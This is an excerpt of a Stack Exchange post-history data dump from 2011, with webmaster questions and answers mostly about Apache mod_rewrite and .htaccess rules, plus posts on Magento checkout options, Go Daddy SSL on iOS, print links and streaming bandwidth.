  <row Id="20963" PostHistoryTypeId="2" PostId="9501" RevisionGUID="13dae592-700f-4c22-ac1c-3a718c56cec5" CreationDate="2011-02-18T15:46:57.473" UserDisplayName="Aaron Vegh" Text="I'm running a web service that will allow people to create their own &quot;instances&quot; of my application, running under their own domain. These people will create an A record to forward a subdomain of their main domain to my server.&#xD;&#xA;&#xD;&#xA;The problem is that my server runs everything under SSL. So in my configuration for port 80, I have the following:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerName mydomain.com&#xD;&#xA;        ServerAlias www.mydomain.com&#xD;&#xA;        RewriteEngine On&#xD;&#xA;        RewriteCond %{HTTPS} !=on&#xD;&#xA;        RewriteRule /(.*) https://mydomain.com/$1 [R=301]&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;This has worked well to forward all requests from the http: to https: domain. But as I said, I now need to let any domain automatically forward to the secure version of itself.&#xD;&#xA;&#xD;&#xA;Is there a rewrite rule that will let me take the incoming domain and rewrite it to the https version of same? So that the following matches would occur:&#xD;&#xA;&#xD;&#xA;    http://some.otherdomain.com -&gt; https://some.otherdomain.com&#xD;&#xA;    http://evenanotherdomain.com -&gt; https://evenanotherdomain.com&#xD;&#xA;&#xD;&#xA;Thanks for your help! Apache mod_rewrite makes my brain hurt.&#xD;&#xA;&#xD;&#xA;Aaron." />
  <row Id="20964" PostHistoryTypeId="1" PostId="9501" RevisionGUID="13dae592-700f-4c22-ac1c-3a718c56cec5" CreationDate="2011-02-18T15:46:57.473" UserDisplayName="Aaron Vegh" Text="Apache mod_rewrite for multiple domains to SSL" />
  <row Id="20965" PostHistoryTypeId="3" PostId="9501" RevisionGUID="13dae592-700f-4c22-ac1c-3a718c56cec5" CreationDate="2011-02-18T15:46:57.473" UserDisplayName="Aaron Vegh" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="20966" PostHistoryTypeId="17" PostId="9501" RevisionGUID="f67c79ab-6da2-442b-a9dc-a247b94cb4b2" CreationDate="2011-02-21T21:41:15.347" UserId="-1" Comment="from http://serverfault.com/questions/237308/apache-mod-rewrite-for-multiple-domains-to-ssl" Text="" />
  <row Id="20967" PostHistoryTypeId="17" PostId="9505" RevisionGUID="be9068ef-54e4-4a06-b9f3-26e5812c0370" CreationDate="2011-02-21T21:41:42.897" UserId="-1" Comment="from http://serverfault.com/questions/236789/rewriterules-targeting-a-directory-result-in-a-gratuitous-redirect/236798#236798" Text="" />
  <row Id="20968" PostHistoryTypeId="2" PostId="9505" RevisionGUID="792b6303-b3d2-44aa-ab08-ac1fa27d74f2" CreationDate="2011-02-17T15:50:24.990" UserDisplayName="Hrvoje Špoljar" Text="before the RewriteRule put&#xD;&#xA;&#xD;&#xA;`RewriteCond %{REQUEST_FILENAME} !-d`&#xD;&#xA;&#xD;&#xA;this will check if directory foo exists, if it does it wont make rewrite rule.&#xD;&#xA;&#xD;&#xA;Also I'm not sure how you got to foo?slug=foo from redirect destination index.php?slug=$1&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;Ok, I've checked you will need one more ruleset before this one to fix missing / &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`RewriteCond %{REQUEST_FILENAME} -d`&#xD;&#xA;&#xD;&#xA;`RewriteCond %{REQUEST_URI} !(.*)/$`&#xD;&#xA;&#xD;&#xA;`RewriteRule ^(.*)$ $1/ [L]`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`RewriteCond %{REQUEST_FILENAME} -d`&#xD;&#xA;&#xD;&#xA;`RewriteRule ^(.+)$ index.php?slug=%{REQUEST_URI} [QSA,L]  `&#xD;&#xA;&#xD;&#xA;This should work like charm" />
  <row Id="20969" PostHistoryTypeId="2" PostId="9504" RevisionGUID="64edcce2-4472-414b-9be8-71aaa1583347" CreationDate="2011-02-17T15:45:06.447" UserDisplayName="MapDot" Text="I have a standard CMS-like RewriteRule set up in my .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.+)$ index.php?slug=$1&#xD;&#xA;&#xD;&#xA;Let's say I have a directory called &quot;foo&quot; in the root directory. For some reason, if you hit the page it causes a redirect:&#xD;&#xA;&#xD;&#xA;http://www.mysite.com/foo --&gt; http://www.mysite.com/foo?slug=foo&#xD;&#xA;&#xD;&#xA;Removing the directory fixes the problem, but unfortunately, it's not an option. Does anyone know of a workaround?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20970" PostHistoryTypeId="1" PostId="9504" RevisionGUID="64edcce2-4472-414b-9be8-71aaa1583347" CreationDate="2011-02-17T15:45:06.447" UserDisplayName="MapDot" Text="RewriteRules targeting a directory result in a gratuitous redirect" />
  <row Id="20971" PostHistoryTypeId="3" PostId="9504" RevisionGUID="64edcce2-4472-414b-9be8-71aaa1583347" CreationDate="2011-02-17T15:45:06.447" UserDisplayName="MapDot" Text="&lt;apache&gt;&lt;mod-rewrite&gt;&lt;redirects&gt;&lt;rewrite&gt;" />
  <row Id="20972" PostHistoryTypeId="17" PostId="9504" RevisionGUID="ea24aba1-f050-4b25-8341-701f2e00762f" CreationDate="2011-02-21T21:41:42.897" UserId="-1" Comment="from http://serverfault.com/questions/236789/rewriterules-targeting-a-directory-result-in-a-gratuitous-redirect" Text="" />
  <row Id="20973" PostHistoryTypeId="17" PostId="9507" RevisionGUID="36a1edf7-1e9b-4ddd-a44e-71d8c42e9329" CreationDate="2011-02-21T21:42:01.773" UserId="-1" Comment="from http://serverfault.com/questions/236780/virtual-hosting/236785#236785" Text="" />
  <row Id="20974" PostHistoryTypeId="17" PostId="9508" RevisionGUID="a8cf82e1-01c6-4c5f-8c0f-9fca2d542fb3" CreationDate="2011-02-21T21:42:01.773" UserId="-1" Comment="from http://serverfault.com/questions/236780/virtual-hosting/237116#237116" Text="" />
  <row Id="20975" PostHistoryTypeId="2" PostId="9507" RevisionGUID="a907b064-da47-48b7-9b4d-ecb10c37bd12" CreationDate="2011-02-17T15:35:44.800" UserId="2483" Text="If the URLs that are being used contain the xxx as part of the server name then it's possible to use [Name Based virtual Hosts][1] e.g.&#xD;&#xA;&#xD;&#xA;If you have `xxx.abc.domain.tld` and `yyy.abc.domain.tld` then you could setup a virtual host for each e.g.&#xD;&#xA;&#xD;&#xA;    NameVirtualHost *:80&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerName xxx.abc.domain.tld&#xD;&#xA;        DocumentRoot /var/www/abc.domain.tld/xxx&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerName yyy.abc.domain.tld&#xD;&#xA;        DocumentRoot /var/www/abc.domain.tld/yyy&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;and so on.&#xD;&#xA;&#xD;&#xA;If you want to use abc.domain.tld/xxx, abc.domain.com.tld/yyy etc. then just set up a single host, define the DocumentRoot and the /xxx, /yyy etc would just be directories under DocumentRoot.&#xD;&#xA;&#xD;&#xA;    NameVirtualHost *:80&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerName www.domain.tld&#xD;&#xA;        DocumentRoot /var/www/abc.domain.tld&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;Now, abc.domain.tld/xxx would be directed to /var/www/abc.domain.tld/xxx and so on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/vhosts/name-based.html" />
  <row Id="20976" PostHistoryTypeId="2" PostId="9508" RevisionGUID="b9e79078-c8cf-4d5f-a7c8-0d8c766da9d1" CreationDate="2011-02-18T05:23:45.703" UserId="5475" Text="Would it not be easier to inject the hostname into the rewrite rule via a RewriteCond back-reference?&#xD;&#xA;&#xD;&#xA;    UseCanonicalName Off&#xD;&#xA;&#xD;&#xA;    # include the IP address in the logs so they may be split&#xD;&#xA;    LogFormat &quot;%A %h %l %u %t \&quot;%r\&quot; %s %b&quot; vcommon&#xD;&#xA;    CustomLog /var/log/apache2/vaccess.log vcommon&#xD;&#xA;    &#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    # a ServerName derived from a Host: header may be any case at all&#xD;&#xA;    RewriteMap lowercase int:tolower&#xD;&#xA;    &#xD;&#xA;    ## deal with normal documents first:&#xD;&#xA;    # do the magic&#xD;&#xA;    RewriteCond ${lowercase:%{SERVER_NAME}} ^(.+)\.abc\.domain\.tld$&#xD;&#xA;    RewriteRule ^(.*)$ /var/www/abc.domain.tld/%1/$1 [L]&#xD;&#xA;    &#xD;&#xA;See [mod_rewrite][rewrite] documentation, under RewriteRule &quot;back-references.&quot; Notice the use of the `%1` instead of the `$1` backreference. This should grab the contents of the regular expression sub-match in the RewriteCond above. I have added parenthesis to submatch the 'xxx' portion in the RewriteCond.&#xD;&#xA;&#xD;&#xA;  [rewrite]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html " />
  <row Id="20977" PostHistoryTypeId="2" PostId="9506" RevisionGUID="179791aa-eb70-430d-ab30-9c6942f01275" CreationDate="2011-02-17T15:27:26.493" UserDisplayName="H3llGhost" Text="I want to use domains like xxx.abc.domain.tld.  &#xD;&#xA;The xxx is my folder to access. I tried it with the rewrite rules, but I can't get it working, because I don't know how to get the part xxx from the SERVER_NAME into my RewriteRule.&#xD;&#xA;&#xD;&#xA;This was my try:&#xD;&#xA;&#xD;&#xA;    UseCanonicalName Off&#xD;&#xA;    &#xD;&#xA;    # include the IP address in the logs so they may be split&#xD;&#xA;    LogFormat &quot;%A %h %l %u %t \&quot;%r\&quot; %s %b&quot; vcommon&#xD;&#xA;    CustomLog /var/log/apache2/vaccess.log vcommon&#xD;&#xA;    &#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    # a ServerName derived from a Host: header may be any case at all&#xD;&#xA;    RewriteMap lowercase int:tolower&#xD;&#xA;    &#xD;&#xA;    ## deal with normal documents first:&#xD;&#xA;    # do the magic&#xD;&#xA;    RewriteCond ${lowercase:%{SERVER_NAME}} ^.+\.abc\.domain\.tld$&#xD;&#xA;    RewriteRule ^(.*)$ /var/www/abc.domain.tld/[xxx-part]/$1 [L]&#xD;&#xA;&#xD;&#xA;Perhaps there is a better solution.  &#xD;&#xA;In generally I want to create a dynamic login system with mod_auth_mysql and for each xxx is a seperate user database.  &#xD;&#xA;I would prefer the domain/address syntax abc.domain.tld/xxx, but I don't know how to realize it.&#xD;&#xA;&#xD;&#xA;Thanks for any advices." />
  <row Id="20978" PostHistoryTypeId="1" PostId="9506" RevisionGUID="179791aa-eb70-430d-ab30-9c6942f01275" CreationDate="2011-02-17T15:27:26.493" UserDisplayName="H3llGhost" Text="Virtual hosting" />
  <row Id="20979" PostHistoryTypeId="3" PostId="9506" RevisionGUID="179791aa-eb70-430d-ab30-9c6942f01275" CreationDate="2011-02-17T15:27:26.493" UserDisplayName="H3llGhost" Text="&lt;apache2&gt;&lt;mod-rewrite&gt;" />
  <row Id="20980" PostHistoryTypeId="17" PostId="9506" RevisionGUID="32209013-b05a-467d-a5a4-06516ae681b2" CreationDate="2011-02-21T21:42:01.773" UserId="-1" Comment="from http://serverfault.com/questions/236780/virtual-hosting" Text="" />
  <row Id="20981" PostHistoryTypeId="17" PostId="9510" RevisionGUID="8c7756b0-2a7a-4655-bdef-e11635fcef07" CreationDate="2011-02-21T21:42:17.687" UserId="-1" Comment="from http://serverfault.com/questions/236643/need-some-help-on-tomcat-url-mod-rewrite-or-mod-jk/236728#236728" Text="" />
  <row Id="20982" PostHistoryTypeId="2" PostId="9510" RevisionGUID="bea10cf7-6fcc-4e10-99a8-6c991eeaf12a" CreationDate="2011-02-17T13:57:15.127" UserId="1131" Text="Assuming that http://www.domainname.com/MyApp/ works as is... shouldn't you be able to just use your final RewriteRule? Just drop the RewriteCond and the 'P' flag. &#xD;&#xA;&#xD;&#xA;Or if you're going to use mod_rewrite to do the proxy with the 'P' flag, don't you need to use the full URL in the RewriteRule? Something like `http://tomcatserver:tomcatport/Context/$1`" />
  <row Id="20983" PostHistoryTypeId="2" PostId="9509" RevisionGUID="2b455f46-d081-41e5-879c-38009a9f6360" CreationDate="2011-02-17T09:07:41.593" UserDisplayName="Redbull Fan" Text="I am trying to remove the context name from the url of my server.&#xD;&#xA;&#xD;&#xA;Current URL - http://www.domainname.com/MyApp/&#xD;&#xA;&#xD;&#xA;What I need to make is to make it avaialble at - &#xD;&#xA;&#xD;&#xA;www.domainname.com/&#xD;&#xA;&#xD;&#xA;So it is only going to host one main app and that needs to be displayed when we open www.domainname.com/ on browser.&#xD;&#xA;&#xD;&#xA;I have already tried couple of things like below - &#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REQUEST_URI} !^/(Context/.*)$&#xD;&#xA;    RewriteRule ^/(.*)$ /Context/$1 [P,L]&#xD;&#xA;&#xD;&#xA;OR &#xD;&#xA;&#xD;&#xA;    redirect permanent /MyApp/ abcd://domainname.com&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;Using JKMount - &#xD;&#xA;&#xD;&#xA;    JkMount /MyApp/* ajp13&#xD;&#xA;    JkMount /MyApp* ajp13&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;Deploy war file to ROOT of tomcat and make relevant chagnes in web and server.xml &#xD;&#xA;All of these aren't working and I keep getting a intenal error.&#xD;&#xA;I need a way to basically trim the tomcat URL to make short.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Andy" />
  <row Id="20984" PostHistoryTypeId="1" PostId="9509" RevisionGUID="2b455f46-d081-41e5-879c-38009a9f6360" CreationDate="2011-02-17T09:07:41.593" UserDisplayName="Redbull Fan" Text="Need some help on tomcat URL mod_rewrite or mod_jk" />
  <row Id="20985" PostHistoryTypeId="3" PostId="9509" RevisionGUID="2b455f46-d081-41e5-879c-38009a9f6360" CreationDate="2011-02-17T09:07:41.593" UserDisplayName="Redbull Fan" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="20986" PostHistoryTypeId="17" PostId="9509" RevisionGUID="6ba7a650-115b-4a22-a38c-a0412fe746dc" CreationDate="2011-02-21T21:42:17.687" UserId="-1" Comment="from http://serverfault.com/questions/236643/need-some-help-on-tomcat-url-mod-rewrite-or-mod-jk" Text="" />
  <row Id="20987" PostHistoryTypeId="17" PostId="9512" RevisionGUID="1245acd2-01fa-43b5-9b44-ca29f85544db" CreationDate="2011-02-21T21:42:27.483" UserId="-1" Comment="from http://serverfault.com/questions/236374/redirecting-a-css-file-based-on-htaccess-rules/236378#236378" Text="" />
  <row Id="20988" PostHistoryTypeId="2" PostId="9512" RevisionGUID="bde3b43f-2b2c-440d-b2a0-b1360390c01a" CreationDate="2011-02-16T18:29:48.770" UserDisplayName="ooshro" Text="Delete space between 'NC,' and 'L'. Also check AllowOverride(All or FileInfo):&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^osticket\.cts$ [NC]&#xD;&#xA;    RewriteRule ^(.*)main\.css$ /test.css [NC,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20989" PostHistoryTypeId="2" PostId="9511" RevisionGUID="b5bb5116-cc40-4372-838d-20dcba9ea397" CreationDate="2011-02-16T18:20:25.903" UserDisplayName="Anthony Hiscox" Text="I'm trying to hack the css files on OSTicket by replacing them with my own custom ones when a specific URL is accessed. The URL that is accessed for this example is http://osticket.cts/helpdesk/scp/css/main.css and I would like it to use the css file at http://osticket.cts/test.css why won't this .htaccess file (in web root, not /helpdesk/scp/) work? Is there an easy way to debug these rules, some way to find out what apache did when the URL was accessed and where it's failing? error.log doesn't show anything useful.   &#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^osticket\.cts$ [NC]&#xD;&#xA;    RewriteRule ^(.*)main\.css$ /test.css [NC, L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20990" PostHistoryTypeId="1" PostId="9511" RevisionGUID="b5bb5116-cc40-4372-838d-20dcba9ea397" CreationDate="2011-02-16T18:20:25.903" UserDisplayName="Anthony Hiscox" Text="Redirecting a CSS file based on .htaccess rules." />
  <row Id="20991" PostHistoryTypeId="3" PostId="9511" RevisionGUID="b5bb5116-cc40-4372-838d-20dcba9ea397" CreationDate="2011-02-16T18:20:25.903" UserDisplayName="Anthony Hiscox" Text="&lt;apache2&gt;&lt;mod-rewrite&gt;" />
  <row Id="20992" PostHistoryTypeId="17" PostId="9511" RevisionGUID="e3e074c7-4855-4c5e-9a16-2494ee78dd12" CreationDate="2011-02-21T21:42:27.483" UserId="-1" Comment="from http://serverfault.com/questions/236374/redirecting-a-css-file-based-on-htaccess-rules" Text="" />
  <row Id="20993" PostHistoryTypeId="17" PostId="9514" RevisionGUID="2f06ca90-0dbf-4707-bc4e-3e9976213692" CreationDate="2011-02-21T21:43:51.897" UserId="-1" Comment="from http://serverfault.com/questions/235180/htaccess-execution-order-and-priority/235212#235212" Text="" />
  <row Id="20994" PostHistoryTypeId="2" PostId="9514" RevisionGUID="77ed8918-5e60-42e9-a8b3-1543d9aa80d3" CreationDate="2011-02-14T10:51:32.523" UserDisplayName="coredump" Text="I suppose you should read the [Apache Tutorial: .htaccess][1], mainly the section &quot;How directives are applied&quot;, that states:&#xD;&#xA;&#xD;&#xA;&gt; The configuration directives found in&#xD;&#xA;&gt; a .htaccess file are applied to the&#xD;&#xA;&gt; directory in which the .htaccess file&#xD;&#xA;&gt; is found, and to all subdirectories&#xD;&#xA;&gt; thereof. However, it is important to&#xD;&#xA;&gt; also remember that there may have been&#xD;&#xA;&gt; .htaccess files in directories higher&#xD;&#xA;&gt; up. Directives are applied in the&#xD;&#xA;&gt; order that they are found. Therefore,&#xD;&#xA;&gt; a .htaccess file in a particular&#xD;&#xA;&gt; directory may override directives&#xD;&#xA;&gt; found in .htaccess files found higher&#xD;&#xA;&gt; up in the directory tree. And those,&#xD;&#xA;&gt; in turn, may have overridden&#xD;&#xA;&gt; directives found yet higher up, or in&#xD;&#xA;&gt; the main server configuration file&#xD;&#xA;&gt; itself.&#xD;&#xA;&#xD;&#xA;Give it a full read and .htaccess will be no mistery anymore.&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/howto/htaccess.html" />
  <row Id="20995" PostHistoryTypeId="2" PostId="9513" RevisionGUID="57d251ea-94a1-4072-81a6-59c967c2b650" CreationDate="2011-02-14T08:49:39.833" UserDisplayName="ChrisRamakers" Text="Can anyone explain to me in what order apache executes .htaccess files residing in different levels of the same path and how the rewrite rules therein are prioritized?&#xD;&#xA;&#xD;&#xA;For example, why doesn't the rewrite rule in the first .htaccess below work and is the one in /blog prioritized?&#xD;&#xA;&#xD;&#xA;.htaccess in /&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^blog offline.html [L]&#xD;&#xA;&#xD;&#xA;.htaccess in /blog&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /blog/&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /blog/index.php [L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ps: i'm not simply looking for an answer but for a way to understand the apache/modrewrite internals ... why is more important to me than how to fix this :) Thanks!" />
  <row Id="20996" PostHistoryTypeId="1" PostId="9513" RevisionGUID="57d251ea-94a1-4072-81a6-59c967c2b650" CreationDate="2011-02-14T08:49:39.833" UserDisplayName="ChrisRamakers" Text="htaccess execution order and priority" />
  <row Id="20997" PostHistoryTypeId="3" PostId="9513" RevisionGUID="57d251ea-94a1-4072-81a6-59c967c2b650" CreationDate="2011-02-14T08:49:39.833" UserDisplayName="ChrisRamakers" Text="&lt;apache&gt;&lt;mod-rewrite&gt;&lt;htaccess&gt;" />
  <row Id="20998" PostHistoryTypeId="17" PostId="9513" RevisionGUID="0c5097c5-fe58-45e2-a177-cc87afa677ed" CreationDate="2011-02-21T21:43:51.897" UserId="-1" Comment="from http://serverfault.com/questions/235180/htaccess-execution-order-and-priority" Text="" />
  <row Id="20999" PostHistoryTypeId="2" PostId="9515" RevisionGUID="531814e5-0753-4936-bfd8-45af1ab63496" CreationDate="2011-02-21T22:06:44.823" UserDisplayName="user5571" Text="I have some .php sites that embeds .swf files. These .swf files are now linked to by some other guys. And I don't want them to simply open the SWF, I want them to force being redirect to the page where the flash is embed.&#xD;&#xA;&#xD;&#xA;Data: Site: www.example.com/1 (www.example.com/2, www.example.com/3 and so on) Flash: www.example.com/flash/flash_NUMBER.swf&#xD;&#xA;&#xD;&#xA;So for www.example.com/1:&#xD;&#xA;&#xD;&#xA;Site: www.example.com/1 Flash: www.example.com/flash/flash_1.swf&#xD;&#xA;&#xD;&#xA;**I now want to redirect the user who types &quot;www.example.com/flash/flash_1.swf&quot; into his URL to be redirect to www.example.com/1.** The Problem I have that the flash needs to be still accesseable via www.example.com/1 &lt;-- I don't get that working (the Flash is embed into that page).&#xD;&#xA;&#xD;&#xA;The tool I would like to use for this is the .htaccess &amp; RewriteRule. I hope someone can help me out.&#xD;&#xA;" />
  <row Id="21000" PostHistoryTypeId="1" PostId="9515" RevisionGUID="531814e5-0753-4936-bfd8-45af1ab63496" CreationDate="2011-02-21T22:06:44.823" UserDisplayName="user5571" Text=".htaccess: Redirect Hotlink Flash --&gt; Site with embed Flash" />
  <row Id="21001" PostHistoryTypeId="3" PostId="9515" RevisionGUID="531814e5-0753-4936-bfd8-45af1ab63496" CreationDate="2011-02-21T22:06:44.823" UserDisplayName="user5571" Text="&lt;htaccess&gt;&lt;flash&gt;&lt;redirects&gt;&lt;rewrite&gt;&lt;hotlinking&gt;" />
  <row Id="21002" PostHistoryTypeId="2" PostId="9516" RevisionGUID="e789513e-89d1-4abe-930f-d2b7a92930f7" CreationDate="2011-02-21T22:27:09.923" UserId="639" Text="It seems to be common on the web to provide users with some visual element on the page to either print or bookmark a page. This is all well and good (and probably doesn't hurt for the most part), but I question its effectiveness at causing the intended behavior.&#xD;&#xA;&#xD;&#xA;Is there any evidence to suggest that this causes an increase in bookmarking/printing behavior? Similarly, is there any evidence that users will use this method *rather than* the browser's default interface for the functions?&#xD;&#xA;&#xD;&#xA;I am really looking for user research with actual results, rather than anecdotes to answer this question.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Joseph Mastey" />
  <row Id="21003" PostHistoryTypeId="1" PostId="9516" RevisionGUID="e789513e-89d1-4abe-930f-d2b7a92930f7" CreationDate="2011-02-21T22:27:09.923" UserId="639" Text="Do print and bookmark links really work?" />
  <row Id="21004" PostHistoryTypeId="3" PostId="9516" RevisionGUID="e789513e-89d1-4abe-930f-d2b7a92930f7" CreationDate="2011-02-21T22:27:09.923" UserId="639" Text="&lt;html&gt;&lt;print&gt;" />
  <row Id="21005" PostHistoryTypeId="17" PostId="9518" RevisionGUID="d4565a6d-54e1-4b4d-a296-b9d3c97ec9e9" CreationDate="2011-02-21T23:18:38.930" UserId="-1" Comment="from http://stackoverflow.com/questions/5065526/magento-checkout-options/5067718#5067718" Text="" />
  <row Id="21006" PostHistoryTypeId="2" PostId="9518" RevisionGUID="4e776c40-f2fd-48d6-8481-e8287a1e7bac" CreationDate="2011-02-21T15:22:59.080" UserDisplayName="Oğuz ÇELİKDEMİR" Text="I don't understand your question exactly but I have an idea which you can try.&#xD;&#xA;&#xD;&#xA;Admin -&gt; Catalog -&gt; Manage Products -&gt; Add Product -&gt; Custom Options -&gt; Add New Option&#xD;&#xA;&#xD;&#xA;Title : Upload Your Image&#xD;&#xA;Input Type : File&#xD;&#xA;Is Required : No&#xD;&#xA;Sort Order : Put whatever you want&#xD;&#xA;&#xD;&#xA;Set price options ( you can create a simple products as a print service then you can use here )" />
  <row Id="21007" PostHistoryTypeId="2" PostId="9517" RevisionGUID="d5bc3b74-ad02-4a43-bec8-8c6f63f6039b" CreationDate="2011-02-21T11:44:06.607" UserDisplayName="graham barnes" Text="Hi I want to add some options to my magento, lets say i print on clothing, a customer buys some t-shirts, shirts and jackets from me, it totals to £60+ VAT on the checkout area where i signup and not before I need to add an option where I can add a text box and upload option, can i do this?&#xD;&#xA;&#xD;&#xA;I ideally then want to add some pricing options if the user has chosen to add some branding to a product or multiple products e.g. if the branding was on the top right of the shirt it will cost £5.00, if on the back it costs £7.00 etc all if possible to be done via the admincp.&#xD;&#xA;&#xD;&#xA;I also want an option so when they upload their logo for the first time they are charged a one off charge, like a setup fee but If the customer has allready sent in there logo then no charge applies.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;Graham" />
  <row Id="21008" PostHistoryTypeId="1" PostId="9517" RevisionGUID="d5bc3b74-ad02-4a43-bec8-8c6f63f6039b" CreationDate="2011-02-21T11:44:06.607" UserDisplayName="graham barnes" Text="Magento Checkout options" />
  <row Id="21009" PostHistoryTypeId="3" PostId="9517" RevisionGUID="d5bc3b74-ad02-4a43-bec8-8c6f63f6039b" CreationDate="2011-02-21T11:44:06.607" UserDisplayName="graham barnes" Text="&lt;magento&gt;" />
  <row Id="21010" PostHistoryTypeId="17" PostId="9517" RevisionGUID="44a1b6e6-2b20-48ef-b16f-6acd9915c607" CreationDate="2011-02-21T23:18:38.930" UserId="-1" Comment="from http://stackoverflow.com/questions/5065526/magento-checkout-options" Text="" />
  <row Id="21011" PostHistoryTypeId="2" PostId="9519" RevisionGUID="19aadae6-1afb-4ce3-aea1-a9ef96d84449" CreationDate="2011-02-21T23:19:41.867" UserId="1757" Text="You can use `RewriteOptions inherit` to inherit the rewrite rules of the parent directory. However, the parent directory's rewrite rules will be applied later, as per [the documentation on RewriteOptions][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriteoptions" />
  <row Id="21012" PostHistoryTypeId="2" PostId="9520" RevisionGUID="c1c54b14-2eed-4d8f-b9fe-de29453302e4" CreationDate="2011-02-21T23:22:45.530" UserId="1757" Text="See the documentation on [RewriteLog][1] and [RewriteLogLevel][2] for how to debug rewrite rules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritelog&#xD;&#xA;  [2]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriteloglevel" />
  <row Id="21013" PostHistoryTypeId="25" PostId="9516" RevisionGUID="216ff26e-bad3-455d-b3d2-8f315fbbb22e" CreationDate="2011-02-21T23:22:49.837" Comment="http://twitter.com/#!/StackWebmasters/status/39827412497858560" />
  <row Id="21014" PostHistoryTypeId="2" PostId="9521" RevisionGUID="3e832486-8830-44d7-9d85-da84794ded68" CreationDate="2011-02-22T00:11:22.713" UserId="1253" Text="I don't think you're going to find any actual hard data on this as there is no way to tell if anyone uses these links without actually looking over their shoulder (or installing spyware on all of your users' computers). &#xD;&#xA;&#xD;&#xA;I don't know if they increase in bookmarking or printing but I don't think that matters. What it boils down to is usability. Does it make your site more usable? If yes then it's a good thing to do even if it doesn't mean more people do it but more people have a better experience on your site or while using your software." />
  <row Id="21015" PostHistoryTypeId="2" PostId="9522" RevisionGUID="509c9c83-b73f-4607-ba68-c5fbf5cb6baa" CreationDate="2011-02-22T00:49:22.880" UserId="5574" Text="Whenever people navigate to a particular site of ours on an iPhone or iPad they are getting a &quot;cannot verify server identity&quot; message.&#xD;&#xA;&#xD;&#xA;Our certificate was issued by Go Daddy.&#xD;&#xA;&#xD;&#xA;I ran [this checker][1] as suggested in another question and everything appears OK.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sslshopper.com/ssl-checker.html#hostname=http://www.pariet.com.au" />
  <row Id="21016" PostHistoryTypeId="1" PostId="9522" RevisionGUID="509c9c83-b73f-4607-ba68-c5fbf5cb6baa" CreationDate="2011-02-22T00:49:22.880" UserId="5574" Text="Getting &quot;cannot verify server identity&quot; on iPhone and iPad for Go Daddy SSL" />
  <row Id="21017" PostHistoryTypeId="3" PostId="9522" RevisionGUID="509c9c83-b73f-4607-ba68-c5fbf5cb6baa" CreationDate="2011-02-22T00:49:22.880" UserId="5574" Text="&lt;ssl-certificate&gt;&lt;iphone&gt;&lt;godaddy&gt;&lt;safari&gt;&lt;ipad&gt;" />
  <row Id="21018" PostHistoryTypeId="25" PostId="9522" RevisionGUID="615c59ad-ef8a-4011-b9b6-86595cde89bb" CreationDate="2011-02-22T02:22:49.750" Comment="http://twitter.com/#!/StackWebmasters/status/39872710569889792" />
  <row Id="21019" PostHistoryTypeId="2" PostId="9523" RevisionGUID="2d63cd08-b510-40d4-a7d6-9543a0a0af1e" CreationDate="2011-02-22T02:38:56.893" UserId="5576" Text="I'm making a website for a web based TV channel, so I'm assuming it will be heavy on bandwidth usage, but I'm no good at calculating bandwidth.&#xD;&#xA;&#xD;&#xA;Couple of questions:&#xD;&#xA;&#xD;&#xA;1. Assuming the site streams HD video 24 / 7 to 1000 people, how much bandwidth is that?&#xD;&#xA;2. Where should something like this be hosted? The channel will have a fiber internet optic connection, but I don't know the limit on their bandwidth, would it be better to get their own server or host online?&#xD;&#xA;&#xD;&#xA;In either case in question 2, any recommendations? I'm usually a regular web designer for minor businesses, so this is a new level.&#xD;&#xA;&#xD;&#xA;Your help is appreciated.&#xD;&#xA;" />
